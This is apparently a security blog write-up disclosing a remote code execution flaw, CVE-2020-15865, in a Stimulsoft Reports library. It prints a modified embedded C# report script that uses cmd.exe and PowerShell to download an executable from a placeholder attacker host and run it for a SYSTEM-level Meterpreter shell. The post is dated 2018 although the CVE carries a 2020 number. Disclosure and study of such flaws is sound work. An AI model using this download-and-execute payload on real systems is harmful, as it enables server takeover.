Burninator Sec

This blog is about the educational (and sometimes entertainment) value of simple hacks. For active vulnerabilities, real names are concealed.

Friday, November 23, 2018

CVE-2020-15865 - Reporting C# Serialization: Remote Code Execution

The Stimulsoft Reports 2013.1.1600.0 library has code execution built in by design, and can be used to fully compromise the application server running it. Buried in the XML of the report file is a base-64 encoded string that contains C# code that a user can edit, then re-encode, submit, and execute.

It's pretty clear that the code is compiled and run, because the comments say "generated code - do not modify."

... so, of course, let's modify it!

I have to do a lot of testing at this point to make sure that modifying the code doesn't completely break it. After all, I still need it to run, I just want it to also run *my* code! The application kept crashing as I tried importing other namespaces that I could use, such as one for writing to the operating system (`using System.IO`). Looks like some of this namespaces are blacklisted, which is smart. It's making it difficult for me to get in.

Eventually the one able to add, without causing errors, is `using System.Diagnostics`. Which means I can use `Process()` to start a `cmd.exe` process and then use a Powershell command to download a payload and get a command shell with Meterpreter. That's what I do. With the malicious changes (in red), it looks like:

```
<script>

using System.Diagnostics;

namespace Reports {

    public class New_Report : Stimulsoft.Report.StiReport
    {
        public New_Report()
        {
            this.InitializeComponent();
            Process c = newProcess();
            c.StartInfo.FileName = @"cmd.exe";
            c.StartInfo.Arguments = @"/c powershell Invoke-WebRequest -Uri
http://ATTACKER-IP/scary.exe -Outfile C:\ProgramData\scary.exe";
            c.Start();

            Process c1 = new Process();
            c1.StartInfo.FileName = @"cmd.exe";
            c1.StartInfo.Arguments = @"/c C:\ProgramData\scary.exe";
            c1.Start();

        }

        #region StiReport Designer generated code - do not modify

            #endregion StiReport Designer generated code - do not modify

    }
}
</script>
```

Since this application is running as user `NT AUTHORITY\SYSTEM`, the Meterpreter shell returned to the attacker is also running as root.

Some disclaimers: it took a little discovery and trial and error to figure out that the server was running Windows, and which directory I would be able to download the payload to, permissions for executing Powershell scripts etc. Also, depending on how fast the download is, the attacker may have to download and execute the payload in two separate scripts.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15865

Posted by burninator at 9:50 AM

Labels: base 64, C#, CVE, external libraries, kali, metasploit, meterpreter, nt authority\system, powershell, remote code execution, root, serialization

No comments:

Post a Comment

To leave a comment, click the button below to sign in with

Newer Post Home Older Post

Subscribe to: Post Comments (Atom)

Twitter

@burninatorsec

Disclaimer

Information in this blog is for educational purposes only. I am not liable for damages or illegal activity caused directly or indirectly based on the information shared here.

Archive

- ► 2022 (5)
- ► 2021 (8)
- ► 2020 (7)
- ► 2019 (5)
- ▼ 2018 (8)
  - ▼ November (1)
    - CVE-2020-15865 - Reporting C# Serialization: Remot...
  - ► August (1)
  - ► July (3)
  - ► May (1)
  - ► April (1)
  - ► March (1)
- ► 2014 (1)
- ► 2013 (8)